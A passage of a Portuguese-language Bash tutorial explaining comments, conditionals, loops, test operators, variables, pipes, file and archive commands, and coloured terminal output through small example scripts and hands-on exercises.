test "$RESPOSTA" = "n" && exit

# O date mostra a data e a hora correntes

sleep 3 ; echo "Data e Horário:" ; echo

date

sleep 3

echo

# O df mostra as partições e quanto cada uma ocupa no disco

echo "Uso do disco:"

sleep 3

echo

df

echo

sleep 6

# O w mostra os usuários que estão conectados nesta máquina

echo "Usuários conectados:"

sleep 3

echo

w

sleep 3

echo

# Fim do script

.

Basta iniciar a linha com um "#" e escrever o texto do comentário em seguida. Estas linhas são ignoradas pelo shell durante a execução. O cabeçalho com informações sobre o script e seu autor também é importante para ter-se uma visão geral do que o script faz, sem precisar decifrar seu código. Também é possível colocar comentários no meio da linha # como este

.

CARACTERÍSTICAS

.

OS SCRIPTS SHELL PODEM CONTER ESTRUTURAS DE PROGRAMAÇÃO TAIS COMO:

.

ESTRUTURAS DE DECISÃO (if)

Recurso utilizado para dar sequencia em fluxos de execução baseado decisões. Cuja sintaxe é:

- Condição Verificada é o teste que definirá se controle deve ser passado para dentro do bloco then, observe que esse teste é feito sobre a saída de um comando.

- Ação são comandos a serem executados em caso verdadeiro da condição verificada.

.

OPERADORES PARA NÚMEROS

.

-eq Verifica se é igual,

-ne Verifica se é diferente,

-lt Verifica se é menor,

-gt Verifica se é maior,

-le Verifica se é menor ou igual,

-ge Verifica se é maior ou igual.

.

OPERADORES PARA TEXTO

.

!= Verifica se é diferente,

= Verifica se é igual.

.

OPERADORES LÓGICOS

.

! Lógica NOT,

-o Lógica OU, (OR) ou ||,

-a Lógica E, (AND) ou &&.

.

OPERADOR PARA arquivos/

.

-d Verifica se é diretório,

-f Verifica se é arquivo,

-e Verifica se existe.

.

Ex:

# !/bin/bash

# Uso de Estrutura de Decisão

clear

echo 'opções'

echo '======'

echo ' -> Data do Sistema'

echo ' -> Uso do Sistema'

read opcao

if [ "$opcao" -eq 1 ]

then

echo 'Data do sistema: ' && date

elif [ "$opcao" -eq 2 ]

then

echo 'Uso do disco: ' && df -Th

fi

# Fim do script

.

ESTRUTURAS DE REPETIÇÃO (for) (while)

.

ESTRUTURA DE REPETIÇÃO for:

Permite que ações de iteração sejam executadas sobre determinados comandos ou variáveis até que a condição seja satisfeita.

.

# !/bin/bash

clear

echo "DIAS DA SEMANA"

for dia in seg ter qua qui sex sab dom

do

echo "$dia"

done

# Fim do script

.

ESTRUTURA DE REPETIÇÃO while
:

Em situações onde sabemos até onde o loop irá realizar uma contagem o ideal é usar o for entretanto em cenarios onde a iteração deve cessar somente após se satisfazer uma condição o uso do laço while é mais indicado. Ex:

.

# /bin/bash

clear

var=1

while [ $var -le 7 ]

do

echo "Valor de var: $var"

var=$((var+1))

done

# Fim do script

.

UM USO INTERESSANTE DO WHILE PARA VER O LOOP FUNCIONANDO:

.

Por vezes queremos acompanhar a cópia de um arquivo na console do Linux e o caminho mais normal é abrir um outro terminal e ficar repetitivamente executando o comando ls, ou algum outro comando, haja dedo para apertar a seta pra cima e enter, seta pra cima e enter, seta pra cima e enter. Podemos resolver isto usando o comando while de forma bem simples, por exemplo se quisermos executar um ls por várias vezes, podemos fazer assim:

.

OBS: Execute um de cada vez, parar o comando com Ctrl+C.

.

1

while true; do ls; done;

2

while true; do ls; echo; sleep 5; done;

3

while true; do ls; echo; sleep 5; clear; done;

.

ISTO VAI EXECUTAR O COMANDO LS ATÉ PRESSIONARMOS CTRL + C PARA QUEBRÁ-LO.

.

FUNÇÕES E ARGUMENTOS

.

Ex:

.

# !/bin/bash

# REALIZAR BACKUP DO DIR

echo -e " \033[1;33m Digite o caminho de origem.: \033[0m "

read DIR_ORIGEM

clear

echo -e " \033[1;34m Digite o caminho de destino.: \033[0m "

read DIR_DESTINO

clear

verifica_argumentos(){

if [ $# -lt 1 ];

then

echo "Faltou informar um dos argumentos (parametros) necessarios!"

exit 1

fi

}

copia_arquivos(){

verifica_argumentos

clear

echo "Realizando backup..."

#Verificando se o dir de destino existe

if ! [ -d $DIR_DESTINO ]

then

mkdir $DIR_DESTINO

echo "Diretorio de Destino Criado"

fi

#COPIANDO ARQUIVOS

for arq in `ls $DIR_ORIGEM`

do

cp /$DIR_ORIGEM/$arq $DIR_DESTINO/$arq.bak

done

}

copia_arquivos

# Fim do script

.

DEFINIÇÕES DE VARIÁVEIS E ESCOPO DESTAS

.

Variáveis são definidas pela nomenclatura NOME_VARIAVEL="Valor da Variável". O valor pode ser tanto numérico quanto texto.

.

Nome="Joel"

.

Se quisermos acessá-la, basta fazer referência a ela com o caractere $ (cifrão) antes do nome: o comando echo $Nome, por exemplo, retornará a palavra "Joel".

.

Se quiser sabe informações sobre os sistemas de arquivo nos quais cada ARQUIVO reside ou, por padrão, sobre todos os sistemas de arquivos posso abrir um terminal e digitar:

VarInfo="df -h"

.

Depois digito no terminal "$VarInfo" sem aspas.

.

VARIÁVEIS DE AMBIENTE

.

As variáveis de ambiente independem da definição do usuario. Elas são criadas automaticamente, no momento em que se faz o login no sistema.

.

Ex:

PATH: define diretórios de procura por programas executados no shell;

USER: informa o nome do usuário do shell;

HOME: informa o caminho do diretório home do usuário;

PWD: diretório atual;

.

As variáveis são a base de qualquer script. É dentro delas que os dados obtidos durante a execução do script serão armazenados. Para definir uma variável, basta usar o sinal de igual "=" e para ver seu valor, usa-se o "echo":

.

Execute estes comandos abaixo no terminal:

.

VARIAVEL="um dois tres"

echo $VARIAVEL

echo $VARIAVEL $VARIAVEL

.

Para remover a variável acima:

unset VARIAVEL

.

Teste:

echo $VARIAVEL

.

É possível armazenar a saída de um comando dentro de uma variável. Ao invés de aspas, o comando deve ser colocado entre "$(...)", execute no terminal os comandos abaixo:

HOJE=$(date)

echo "Hoje é: $HOJE"

sleep 2

unset HOJE

echo $HOJE

HOJE=$(ls)

echo "O conteúdo desta pasta tem: $HOJE"

sleep 2

unset HOJE

echo $HOJE

HOJE=$(free -hmt)

echo "Informando sobre a memória desta máquina: $HOJE"

sleep 2

unset HOJE

echo $HOJE

.

EXEMPLOS DE USO DO SHELL SCRIPT:

.

Apagar arquivos velhos - Apagar periodicamente arquivos mais velhos que 30 dias do diretório /tmp:

.

#!/bin/bash

cd /tmp

find . -type f -mtime +30 -delete

# Fim do script

.

Este seria o conteúdo de um shell script que sempre que fosse executado apagaria arquivos com data de modificação maior que 30 dias a partir do diretório /tmp do sistema de arquivos.

.

Notem que ele é nada mais do que uma associação de 2 comandos (cd e find) em um arquivo para facilitar a repetição da tarefa. Este poderia ser, por exemplo, o conteúdo do arquivo /bin/limpatmp.sh e poderíamos chamar este script pela linha de comandos sempre que desejássemos repetir esta ação:

.

$ limpatmp.sh

.

Onde o símbolo "$" representa o prompt de comandos. Do ponto de vista do usuário este seria mais um comando disponível para uso.

.

Os scripts em shell são também muito empregados junto à inicialização do sistema (para auto-iniciar tarefas) ou como mini-aplicativos, que facilitam tarefas dos usuários, tais como montagem de dispositivos, menus de ajuda, etc.

.

Sua primeira linha obrigatoriamente começa com um "#!" (que não se deve confundir com um comentário qualquer, pois realmente é uma exceção; este par se chama, em inglês, de shebang), informando diretamente ao núcleo (kernel) qual interpretador ele deverá usar, juntamente com seu caminho, de acordo com a necessidade de cada caso. Exemplo:

#!/bin/bash

.

Em seguida, são adicionados os comandos desejados, um por linha, ou separados por ponto e vírgula. Exemplo:

.

mount -t reiserfs /dev/hda1 /mnt/hda1

ls /mnt/hda1

cp -r /mnt/hda1/* /home/user/backup

umount /dev/hda1

.

Por fim, dá-se a permissão de execução a este arquivo de texto simples ("chmod +x arquivo").

.

DATA ANTERIOR

.

#!/bin/bash

# Função em Bash para retornar a data anterior, levando em conta o mês e ano.

fn_data_anterior()

{

DIA=$D

MES=$M

ANO=$A

# Dado DIA, MES e ANO numéricos, obtém a data do dia anterior

DIA=`expr $DIA - 1`

if [ $DIA -eq 0 ]; then

MES=`expr $MES - 1`

if [ $MES -eq 0 ]; then

MES=12

ANO=`expr $ANO - 1`

fi

DIA=`cal $MES $ANO`

DIA=`echo $DIA | awk '{ print $NF }'`

fi

}

ano=`date +%Y`;

mes=`date +%m`;

let dia=10\#`date +%d`;

if (( $dia<10 ));

then

j=0$dia;

else

j=$dia;

fi

dia=$j;

j="";

D=$dia

M=$mes

A=$ano

fn_data_anterior

echo $DIA $MES

# Fim do script

.

DETALHES SOBRE OS COMANDOS

.

Diferente de outras linguagens de programação, o shell não usa os parênteses para separar o comando de seus argumentos, usa sim o espaço em branco. O formato de um comando é sempre:

.

COMANDO + OPÇÕES + PARÂMETROS

.

O "read" é um comando do próprio shell, já o "date"" é um executável do sistema.

.

Dentro de um script, não faz diferença usar um ou outro, pois o shell sabe como executar ambos. Assim, toda a gama de comandos disponíveis no GNU/Linux pode ser usada em scripts.

Há vários comandos que foram feitos para serem usados com o shell, eles são ferramentas.

.

VEJAMOS ALGUNS DELES:

.

O comando "cat" mostra o conteúdo de um arquivo. O comando "cat -n sistema" mostra o nosso script, com as linhas numeradas. O "-n" é a opção para o comando, que o instrui a numerar linhas, e "sistema" é o último argumento, o nome do arquivo.

cat (Mostra arquivo)

cat -n, cat -s (comando com opções)

.

cut (Extrai campo)

cut -d -f (comando com opções)

cut -c (comando com opções)

.

date Mostra data as opções são: -d, +'...'

.

find Encontra arquivos, as opções são: -name, -iname, -type f, -exec

.

grep Encontra texto, as opções são: -i, -v, -r, -qs, -w -x

.

head Mostra Início, as opções são: -n, -c

.

printf Mostra texto as opções são: nenhuma

.

rev Inverte texto, as opções são: nenhuma

.

sed Edita texto, as opções são: -n, s/isso/aquilo/, d

.

seq Conta Números, as opções são: -s, -f

.

sort Ordena texto, as opções são: -n, -f, -r, -k -t, -o

.

tail Mostra Final, as opções são: -n, -c, -f

.

tr Transforma texto, as opções são: -d, -s, A-Z a-z

.

uniq Remove duplicatas, opções: -i, -d, -u

.

wc Conta Letras, opções: -c, -w, -l, -L

.

Use "man nome-do-comando" ou "nome-do-comando --help" para obter mais informações sobre cada um deles.

.

O melhor, é que em shell é possível combinar comandos, aplicando-os em seqüência, para formar um comando completo. Usando o pipe "|" é possível canalizar a saída de um comando diretamente para a entrada de outro, fazendo uma cadeia de comandos.

.

Exemplo:

.

prompt$ cat /etc/passwd | grep root | cut -c1-10

root:x:0:0

prompt$

.

O cat mostra o arquivo todo, o grep pega essa saída e extrai apenas as linhas que contêm a palavra "root" e o cut por sua vez, somente nessas linhas que o grep achou, extrai os 10 primeiros caracteres. Isso funciona como uma estação de tratamento de água, onde ela entra suja, vai passando por vários filtros que vão tirando as impurezas e sai limpa no final. E por fim, também é possível redirecionar a saída de um comando para um arquivo ao invés da tela, usando o operador ">". Para guardar a saída do comando anterior no arquivo "saida", basta fazer:

cat /etc/passwd | grep root | cut -c1-10 > saida

cat saida

.

O COMANDO TEST

O canivete suíço dos comandos do shell é o "test", que consegue fazer vários tipos de testes em números, textos e arquivos. Ele possui várias opções para indicar que tipo de teste será feito, algumas delas:

-lt Núm. é menor que (LessThan)

-d É um diretório

-gt Núm. é maior que (GreaterThan)

-f É um arquivo normal

-le Núm. é menor igual (LessEqual)

-r O arquivo tem permissão de leitura

-ge Núm. é maior igual (GreaterEqual)

-s O tamanho do arquivo é maior que zero

-eq Núm. é igual (EQual)

-w O arquivo tem permissão de escrita

-ne Núm. é diferente (NotEqual)

-nt O arquivo é mais recente (NewerThan)

= String é igual

-ot O arquivo é mais antigo (OlderThan)

!= String é diferente

-ef O arquivo é o mesmo (EqualFile)

-n String é não nula

-a E lógico (AND)

-z String é nula

-o OU lógico (OR)

.

SCRIPT QUE TESTA ARQUIVOS

Tente fazer um script "testa-arquivos", que pede ao usuário para digitar um arquivo e testa se este arquivo existe. Se sim, diz se é um arquivo ou um diretório.

.

CONCEITOS AVANÇADOS:

.

CASE

.

O case é para controle de fluxo, tal como é o if. Mas enquanto o if testa expressões não exatas, o case vai agir de acordo com os resultados exatos. Vejamos um exemplo:

.

case $1 in
parametro1) comando1 ; comando2 ;;
parametro2) comando3 ; comando4 ;;
*) echo "Você tem de entrar com um parâmetro válido" ;;
esac

.

Aqui aconteceu o seguinte: o case leu a variável $1 (que é o primeiro parâmetro passado para o programa), e comparou com valores exatos. Se a variável $1 for igual à “parametro1″, então o programa executará o comando1 e o comando2; se for igual à “parametro2″, executará o comando3 e o comando4, e assim em diante. A última opção (*), é uma opção padrão do case, ou seja, se o parâmetro passado não for igual a nenhuma das outras opções anteriores, esse comando será executado automaticamente. Com o case fica muito mais fácil criar uma espécie de “menu” para o shell script do que com o if.

.

If, for e while

.

Assim como qualquer outra linguagem de programação, o shell também tem estruturas para se fazer condicionais e loop. As mais usadas são if, for e while.

.

ATÉ ESTE PONTO EM QUE ESTAMOS, JÁ SABEMOS O BÁSICO, O NECESSÁRIO PARA SE FAZER UM SCRIPT DE FUNCIONALIDADE MÍNIMA. E ESTE MÍNIMO PODE FAZER COISAS INCRÍVEIS.

.

AVANÇAR:

case, if, for e while.

.

Comando if:

.

Comando if - else:

if ( condição ) {
comandos a serem executados se a condição for verdadeira;
}
else {
comandos a serem executados se a condição for falsa;
}

.

Controle de fluxo são comandos que vão testando algumas alternativas, e de acordo com essas alternativas, vão executando comandos. Um dos comandos de controle de fluxo mais usados é certamente o if, que é baseado na lógica “se acontecer isso, irei fazer isso, se não, irei fazer aquilo”.

.

Exemplo de um pedaço de código:

.

if [ -e $linux ]
then
echo 'A variável $linux existe.'
else
echo 'A variável $linux não existe.'
fi

.

O que este pedaço de código faz? O if testa a seguinte expressão: Se a variável $linux existir, então (then) ele diz que que existe com o echo, se não (else), ele diz que não existe. O operador "-e" é pré-definido, e você pode encontrar a listagem dos operadores na tabela:

.

-eq Igual
-ne Diferente
-gt Maior
-lt Menor
-o Ou
-d Se for um diretório
-e Se existir
-z Se estiver vazio
-f Se conter texto
-o Se o usuário for o dono
-r Se o arquivo pode ser lido
-w Se o arquivo pode ser alterado
-x Se o arquivo pode ser executado

.

Exemplo de uso do if:

.

if [COMANDOS]

then

comandos

else

comandos

fi

# Fim do script

.

Ex:

for VAR in LISTA

do

comandos

done

# Fim do script

.

Ex:

while COMANDO

do

comandos

done

# Fim do script

.

Diferente de outras linguagens, o if testa um comando e não uma condição. Porém como já conhecemos qual o comando do shell que testa condições, é só usá-lo em conjunto com o if. Por exemplo, para saber se uma variável é maior ou menor do que 10 e mostrar uma mensagem na tela informando:

.

Ex:

if test "$VARIAVEL" -gt 10

then

echo "é maior que 10"

else

echo "é menor que 10"

fi

# Fim do script

.

Há um atalho para o test , que é o comando [. Ambos são exatamente o mesmo comando, porém usar o [ deixa o if mais parecido com o formato tradicional de outras linguagens:

.

Ex:

if [ "$VARIAVEL" -gt 10 ]

then

echo "é maior que 10"

else

echo "é menor que 10"

fi

# Fim do script

.

Se usar o [, também é preciso fechá-lo com o ], e sempre devem ter espaços ao redor. É recomendado evitar esta sintaxe para diminuir suas chances de erro.

.

Já o while é um laço que é executado enquanto um comando retorna OK. Novamente o test é bom de ser usado. Por exemplo, para segurar o processamento do script enquanto um arquivo de lock não é removido:

.

Ex:

while test -f /tmp/lock

do

echo "Script travado..."

sleep 1

done

# Fim do script

.

E por fim, o for percorre uma lista de palavras, pegando uma por vez:

.

Ex:

for numero in um dois três quatro cinco

do

echo "Contando: $numero"

done

# Fim do script

.

Uma ferramenta muito útil para usar com o for é o seq, que gera uma seqüência numérica.

.

Para fazer o loop andar 10 passos, pode-se fazer:

for passo in $(seq 10)

.

O mesmo pode ser feito com o while, usando um contador:

.

i=0

while test $i -le 10

do

i=$((i+1))

echo "Contando: $i"

done

# Fim do script

.

Linux usando o "while" para Loops

.

Como podemos usar o loop while em um shell script?

.

O while funciona assim:

.

while [ condição ]
do
commandos
done

.

No exemplo acima saiba que o início e o final do loop é definido por "do" e "done". Estes dois são palavras chaves do Bash.

.

Exemplo 1 - O loop vai funcionar 5 vezes e imprimir o texto definido dentro do loop.

.

n=1 # Esta é a variável n é igual a um

.

Nome do script: 01-while1.sh

.

#!/bin/bash

n=1

while [ $n -le 5 ]
do
echo "Este é o loop $n"
(( n++ ))
done

# Fim do script

.

Pode abrir o terminal pelo menu do sistema e digitar: nano 01-while1.sh

.

O nano é um editor de texto que funciona na janela do terminal e você pode digitar normalmente nele.

.

Pode também copiar e colar.

.

Depois de colar o script, aperte as teclas Ctrl+O, aperte a tecla Enter e depois a tecla Ctrl+X.

.

Damos poder de execução ao script:

chmod a+x 01-while1.sh

.

Executamos:

./01-while1.sh

.

Ou podemos fazer tudo isto pelo terminal assim:

cd ; mkdir pasta-while-loop ; cd pasta-while-loop/ ; echo -e '#!/bin/bash\necho\n \nn=1\n \nwhile [ $n -le 5 ]\ndo\necho "Este é o loop $n"\n(( n++ ))\ndone\necho' > 01-while1.sh ; chmod a+x 01-while1.sh ; ./01-while1.sh

.

Exemplo:

.

~ $cd ; mkdir pasta-while-loop ; cd pasta-while-loop/ ; echo -e '#!/bin/bash\n \nn=1\n \nwhile [ $n -le 5 ]\ndo\necho "Este é o loop $n"\n(( n++ ))\ndone' > 01-while1.sh ; chmod a+x 01-while1.sh ; ./01-while1.sh
Este é o loop 1
Este é o loop 2
Este é o loop 3
Este é o loop 4
Este é o loop 5
pasta-while-loop $

.

CRIE SEU PRÓPRIO EPUB USANDO O PROGRAMA SIGIL

.

LINUX COMANDOS DE MANIPULAÇÃO DE ARQUIVOS PARA USAR EM SHELL SCRIPT

.

Crie uma pasta, abra o terminal nesta tua pasta criada e execute:

.

ls -t -a -h -l

pwd

cd ..

ls -a

pwd

cd -

ls -t

pwd

touch nome-do-arquivo-a-ser-criado1.txt nome2.txt

ls -t

cat nome2.txt

echo 'Olá Mundo!' > nome2.txt

cat nome2.txt

ls ; echo ; echo "E ..." ; sleep 4 ; echo ; ls -t

clear

mkdir pasta-teste

ls -a

ls -t ; echo

rmdir pasta-teste

ls -t ; pwd

mkdir -p pasta-mama/pasta-filha

ls -t ; echo

> nome-do-arquivo-a-ser-criado3.txt ; > nome4.txt

ls -at ; echo

pwd

cp nome2.txt nome3.txt

ls -t ; echo

mv nome2.txt nome1.txt

ls -t

find -name nome2.txt

find -name nome3.txt

find -name nome1.txt

mv nome1.txt pasta-mama/

find -name nome1.txt

find -name nome3.txt

rm nome3.txt

find -name nome3.txt

ls -t

pwd

find nome-do-arquivo-a-ser-criado3.txt

rm nome-do-arquivo-a-ser-criado3.txt

ls -t

rm nome4.txt nome-do-arquivo-a-ser-criado1.txt

ls -t ; echo

clear

ls

cd pasta-mama/

cd ..

pwd

ls

cd -

ls ; echo

echo -e 'Este texto\n \né do arquivo\n \nnome1.txt\n' >> nome1.txt

cat nome1.txt

ls

mv nome1.txt pasta-filha/

ls ; echo

mkdir pasta-bro

ls

cd pasta-filha/

> texto-filha.txt

ls -t

echo -e "\n \nEste texto\n \nEstá escrito em\n \ntexto-filha.txt!" > texto-filha.txt

cat texto-filha.txt

echo -e "\n \nEste texto\n \nSobreescreve\n \ntexto-filha.txt!" > texto-filha.txt

cat texto-filha.txt

echo -e "\n \nEste texto\n \nSerá adicionado a\n \ntexto-filha.txt\n" >> texto-filha.txt

cat texto-filha.txt

ls -t

cat nome1.txt

cp nome1.txt nome8.txt

clear

ls -t

cat nome8.txt

cd ..

ls

rm -rf pasta-filha/

ls

rmdir pasta-bro/

ls

cd ..

pwd

ls

rmdir pasta-mama/

ls

.

Criação/backup de/em links com ln:

ln -s

ln -b

ln -i

.

COMANDOS DE COMPACTAÇÃO / DESCOMPACTAÇÃO

.

TAR

Armazena ou extrai arquivos e diretórios dentro de um único arquivo ou dispositivo.

.

Sintaxe: tar [opções] arquivos_ou_diretórios

Opções:

-c :: cria um novo arquivo .tar e adiciona a ele os arquivos especificados

-x :: retira os arquivos agrupados no arquivo .tar

-f :: indica que o destino é um arquivo em disco e não uma fita magnética

-v :: exibe o nome de cada arquivo processado

-Z :: compacta ou descompacta arquivos utilizando o comando compress

-z :: compacta ou descompacta arquivos utilizando o comando gzip

-j :: compacta ou descompacta arquivos utilizando o comando bzip2

-M :: múltiplos volumes

-b n :: define o tamanho do bloco de dados utilizado pelo tar (n*512 bytes)

.

Exemplos:

1. Gera um arquivo de backup do diretório "documentos1":

tar -cvf documentos.tar documentos1

2. Exibe o conteúdo do arquivo "documentos.tar":

tar -tvf documentos.tar

3. Extrai o conteúdo do arquivo "documentos.tar":

tar -xvf documentos.tar

5. Gera um arquivo de backup compactado com bzip2 do diretório "documentos1":

tar -cvjf memorandos.tar.bz2 documentos1

6. Divide em vários disquetes o arquivo "documentos.tar.bz2":

tar -cvMf /dev/fd0 /operftp/documentos.tar.bz2

7. Extrai o arquivo de backup armazenado no disquete:

tar -xvMf /dev/fd0

.

CPIO

Executa funções de arquivamento de dados.

.

Sintaxe: cpio [opções]

Opções:

-o :: lê nomes de arquivos da entrada padrão e os copia para a saída padrão com a informação necessária para a sua recuperação posterior com o comando: cpio -i

-i :: lê da entrada padrão um arquivo criado pelo comando cpio -o e extrai os arquivos armazenados

-v :: exibe o nome de cada arquivo processado

.

Exemplos:

1. Copia todos os arquivos mencionados em "lista.txt" para o arquivo "backup.cpio":

cpio -o /operftp/lista.txt > /operftp/backup.cpio

2. Extrai todos os arquivos armazenados em "backup.cpio":

cpio -i procedimento.zip

.

COMPRESS

Compacta um ou mais arquivos utilizando a compactação Lempel-Ziv.

Sintaxe: compress [opções] arquivos

Opções:

-c :: grava o arquivo compactado na saída padrão e retém o arquivo original

-d :: descompacta o arquivo

-r :: compacta recursivamente arquivos em todos os subdiretórios

Exemplos:

compress documentos.tar
$ compress -d documentos.tar.Z

.

UNCOMPRESS

Descompacta um ou mais arquivos que tenham sido compactados com o comando compress.

Sintaxe: uncompress [opções] arquivos

Opções:

-c :: grava o resultado na saída padrão e retém o original

-r :: descompacta recursivamente arquivos em todos os subdiretórios

Exemplo:

uncompress documentos.tar.Z

.

GZIP

Compacta um ou mais arquivos.

Sintaxe: gzip [opções] arquivos

Opções:

-c :: grava o arquivo compactado na saída padrão e retém o arquivo original

-d :: descompacta arquivo. O mesmo que gunzip

-f :: sobrescreve arquivos já existentes

-h :: mensagem de ajuda

-l :: lista o conteúdo de um arquivo compactado

-t :: testa a integridade do arquivo compactado

-n :: não salva o nome original

-r :: compacta recursivamente arquivos em todos os subdiretórios

-L :: exibe a licença do comando

Exemplos:

gzip documentos.tar

$ gzip -d documentos.tar.gz

.

GUNZIP

Descompacta arquivos compactados pelos comandos gzip e compress. Utiliza as mesmas opções de gzip.

Sintaxe: gunzip [opções] arquivos

Exemplo:

gunzip documentos.tar.gz

.

BZIP2

Compacta um ou mais arquivos.

Sintaxe: bzip2 [opções] arquivos

Opções:

-z :: força a compressão

-c :: grava na saída padrão

-t :: testa a integridade do arquivo compactado

-f :: sobrescreve arquivos já existentes

-d :: descompacta arquivos. O mesmo que bunzip2

-k :: não apaga os arquivos de entrada

-L :: licença do comando

Exemplos:

bzip2 documentos.tar

$ bzip2 -d documentos.tar.bz2

.

BUNZIP2

Descompacta arquivos compactados pelos comandos gzip ou compress. Utiliza as mesmas opções de bzip2.

Sintaxe: bunzip2 [opções] arquivos

Exemplo:

bunzip2 documentos.tar.bz2

.

ZIP

Compacta um ou mais arquivos.

Sintaxe: zip [opções] arquivo-destino arquivo-origem

Opções:

-e :: permite encriptar o conteúdo de um arquivo ZIP através de senha. A senha será pedida no momento da compactação

-m :: apaga os arquivos originais após a compactação

-r :: compacta recursivamente arquivos em todos os subdiretórios

Exemplos:

zip documentos.zip *.txt

$ zip -r documentos.zip /usr/*.txt

.

UNZIP

Descompacta arquivos compactados pelo comando zip.

Sintaxe: unzip [opções] arquivo.zip arquivos-origem [diretório]

Opções:

-l :: exibe os arquivos existentes dentro do arquivo ZIP

-d :: diretório onde os arquivos serão descompactados

-o :: substitui arquivos existentes sem perguntar

Exemplos:

unzip documentos.zip
$ unzip documentos.zip -d /operftp

.

ZCAT, ZMORE, ZLESS, BZ2CAT

Visualiza o conteúdo de um arquivo texto compactado, sem precisar descompactar o arquivo.

Os comandos zcat, zless e zmore funcionam da mesma forma que cat, less e more. A única diferença, é que esses comandos podem ler diretamente arquivos compactados com gzip ou compress sem precisar descompactar os arquivos.

.

Exemplos:

.

zcat nome_arquivo

zless nome_arquivo

zmore nome_arquivo

bz2cat nome_arquivo

.

Paro por aqui. É bastante informação. É um bom começo. Até Breve!

.

Linux shell script fundos background

Para um script com fundo colorido, temos 9 códigos:

reset=0, black=40, red=41, green=42, yellow=43, blue=44, magenta=45, cyan=46 e white=47

OBS:
Este nove são os mais comumente usados.

Como escrever uma frase com fundo colorido? Usar echo -e, aspas, caractere de escape para fundo preto, escrever um texto e por fim, usar caractere para resetar ao fundo original. Começamos escrevendo:

echo -e "

Depois das aspas:

\e[1;40m

Aí vem o texto a ser digitado. Após o texto que você digitou usa-se:

\e[0m

Fecha aspas.

\e[0m serve para resetar o fundo (background) voltando ao padrão.

Fica assim:

echo -e "\e[1;40m Este é o Fundo em preto \e[0m"

Teste usando este script que eu escreví:

#!/usr/bin/env bash

clear

echo

echo -e 'Um script pode usar sequências de escape para produzir textos\n \ncoloridos no terminal.\n \nAs cores são representadas por códigos.\n \nTemos 9 códigos:\n \nreset = 0\npreto = 30\nvermelho = 31\nverde = 32\namarelo = 33\nazul = 34\nmagenta = 35\ncyan = 36\nbranco = 37'

# O caractere de escape para vermelho por exemplo é: "\e[1;31m" após o texto em vermelho, usa: "\e[0m" para resetar a cor voltando ao padrão.

echo

sleep 8

echo -e "\e[1;34m Este é o texto em azul! \e[0m"

echo

sleep 2

echo -e "\e[1;30m Este é o texto em preto! \e[0m"

echo

sleep 2

echo -e "\e[1;32m Este é o texto em verde! \e[0m"

echo

sleep 2

echo -e "\e[1;33m Este é o texto em amarelo! \e[0m"

echo

sleep 2

echo -e "\e[1;35m Este é o texto em magenta! \e[0m"

echo

sleep 2

echo -e "\e[1;36m Este é o texto em cyan! \e[0m"

echo

sleep 2

echo -e "\e[1;37m Este é o texto em branco! \e[0m"

echo

sleep 2

echo

# Para um fundo colorido, temos outros 9 códigos: reset = 0, black = 40, red = 41, green = 42, yellow = 43, blue = 44, magenta = 45, cyan = 46, and white=47, are the commonly used color codes.

echo -e 'Um script também pode\n \nusar sequências de escape\n \npara produzir\n \nfundos coloridos no terminal.\n \nBackground colorido.'

echo

sleep 7

echo -e 'Para um fundo colorido, temos outros 9 códigos:\n \nreset = 0\n \npreto = 40\n \nvermelho = 41\n \nverde = 42\n \namarelo = 43\n \nazul = 44\n \nmagenta = 45\n \ncyan = 46\n \nwhite=47'

# O caractere de escape para fundo preto é: "\e[1;40m" após o texto digitado, usa: "\e[0m" para resetar o fundo (background) voltando ao padrão.

echo

sleep 8

echo -e "\e[1;40m Este é o Fundo em preto \e[0m"

echo

sleep 2

echo -e "\e[1;41m Este é o Fundo em vermelho \e[0m"

echo

sleep 2

echo -e "\e[1;42m Este é o Fundo em verde \e[0m"

echo

sleep 2

echo -e "\e[1;43m Este é o Fundo em amarelo \e[0m"

echo

sleep 2

echo -e "\e[1;44m Este é o Fundo em azul \e[0m"

echo

sleep 2

echo -e "\e[1;45m Este é o Fundo em magenta \e[0m"

echo

sleep 2

echo -e "\e[1;46m Este é o Fundo em cyan \e[0m"

echo

sleep 2

echo -e "\e[1;47m Este é o Fundo em branco \e[0m"

echo

echo -e '\e[1;47m\e[1;31mEntão é isto! Até breve!\e[0m'

sleep 3

echo

echo -e '\e[1;47m\e[1;30mLembre-se! Pense outra cor!\e[0m'

echo

sleep 2

# Fim do script

Linux shell script brincando com variáveis

Um script bem simples mas que utiliza variáveis. Chamo de:

08-teste-5variaveis.sh

.

#!/bin/bash

clear

# Este script testa o uso de variáveis

# Definindo 5 variáveis

echo ; echo 'Definindo 5 variáveis em 10 segundos.' ; sleep 3 ; echo

VALOR1='ls -t' ; sleep 2 ; VALOR2='pwd' ; sleep 2 ; VALOR3='cal' ; sleep 2 ; VALOR4='uptime' ; sleep 2 ; VALOR5='whoami' ; sleep 2

# Executando as 5 variáveis

echo 'Executando as 5 variáveis com explicações.' ; sleep 4 ; echo

echo 'Vamos listar o conteúdo desta pasta:' ; echo ; $VALOR1 ; sleep 4 ; echo ; echo 'Vamos saber onde estamos localizados no sistema:' ; sleep 4 ; echo ; $VALOR2 ; sleep 4 ; echo ; echo 'Vamos ver o calendário atual' ; sleep 4 ; echo ; $VALOR3 ; echo ; echo 'Vamos saber o tempo de funcionamento da máquina:' ; sleep 4 ; echo ; $VALOR4 ; sleep 4 ; echo ; echo 'Vamos saber qual é o usuário logado' ; sleep 4 ; echo ; $VALOR5 ; echo

sleep 5

echo 'Executando apenas as variáveis:' ; echo ; $VALOR1 ; sleep 2 ; $VALOR2 ; sleep 2 ; $VALOR3 ; sleep 2 ; $VALOR4 ; sleep 2 ; $VALOR5

# Removendo as 5 variáveis pois este script é apenas um teste

echo ; echo 'Removendo as 5 variáveis em 10 segundos, pois este script é apenas um teste' ; sleep 4 ; echo

unset VALOR1 ; sleep 2 ; unset VALOR2 ; sleep 2 ; unset VALOR3 ; sleep 2 ; unset VALOR4 ; sleep 2 ; unset VALOR5 ; sleep 2

echo ; echo '10 seg para testar as variáveis que não devem ecoar valores' ; sleep 4 ; echo

echo 'Testando as variáveis:' ; echo ; $VALOR1 ; sleep 2 ; $VALOR2 ; sleep 2 ; $VALOR3 ; sleep 2 ; $VALOR4 ; sleep 2 ; $VALOR5

exit

# Fim do script

.

Até breve!

.

🙂

.

Linux shell script imprimir saída colorida

A maior parte dos usuários classificam shell script como uma linguagem de fácil aprendizagem. Mas na verdade é difícil. O primeiro passo é, saber o que se deseja fazer, então ver qual o código que executa este comando em shell e aí criar, basta escrever o código em algum editor de texto e salvar. Veja só por exemplo, que de tempos em tempos você quer saber informações do sistema, instalar programas, remover programas, converter/alterar arquivos, fazer backups, adicionar informações, remover informações, etc.

.

